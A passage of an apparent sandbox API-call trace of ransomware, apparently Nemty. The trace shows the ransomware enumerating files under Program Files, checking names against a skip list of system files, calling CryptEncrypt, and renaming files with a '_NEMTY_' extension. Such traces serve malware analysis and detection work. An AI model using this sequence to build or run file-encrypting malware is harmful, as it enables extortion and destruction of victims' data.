lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.033] CloseHandle (hObject=0xffffffff) returned 0 [0094.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0094.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0094.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0094.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.034] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png._nemty_kgobjgd_")) returned 0 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.034] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="passport.png", cAlternateFileName="")) returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2=".") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="..") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="...") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="windows") returned -1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="$RECYCLE.BIN") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="rsa") returned -1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="NTDETECT.COM") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="ntldr") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="MSDOS.SYS") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="IO.SYS") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="boot.ini") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="boot.ini") returned 1 [0094.034] lstrcmpiW (lpString1="passport.png", lpString2="AUTOEXEC.BAT") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="ntuser.dat") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="desktop.ini") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="CONFIG.SYS") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="RECYCLER") returned -1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="BOOTSECT.BAK") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="bootmgr") returned 1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="programdata") returned -1 [0094.035] lstrcmpiW (lpString1="passport.png", lpString2="appdata") returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport.png", lpUsedDefaultChar=0x0) returned 12 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport.png", lpUsedDefaultChar=0x0) returned 12 [0094.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport.png", lpUsedDefaultChar=0x0) returned 12 [0094.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport.png", lpUsedDefaultChar=0x0) returned 12 [0094.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0094.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0094.035] Sleep (dwMilliseconds=0x5) [0094.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebb48690, dwHighDateTime=0x1d561e7)) [0094.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebb48690, dwHighDateTime=0x1d561e7)) [0094.050] GetLastError () returned 0x5 [0094.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.050] GetLastError () returned 0x5 [0094.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.051] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.051] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="XGAyR0EMyU8qEUsgll6yebzzRIsAKJShnhHhSbCNeuku2hYbJBS5Q3KSYBW5Vh8+\r\nxXcq63a//BM+akKJjE3CDOpTF3LncH8PKrJOdZYPmu61IpjvzM8zLkDADCCGdkI+\r\nPX/wIIsNVrwLS3XXO6OaMuM45i2uRMxLCY3PYYshT4rkU5r8Y5ER2fpfjDwKtfSF\r\nbVN5U3K5HrF/s8nU+QNqLnUWY5o9QnzOrf7axQLmVefUbNKwYKnMjoRODX7h+DlI\r\nl642ArTaa7TqDcXmespbH6atnf3H/JHE+CRXkHOYg3z/w4wveImQUyKJxbL3nx3y\r\nm/tnHTcB9XO6gpfNZ5jVIw==\r\n", pcchString=0x653e91c) returned 1 [0094.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.051] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.052] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.052] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, 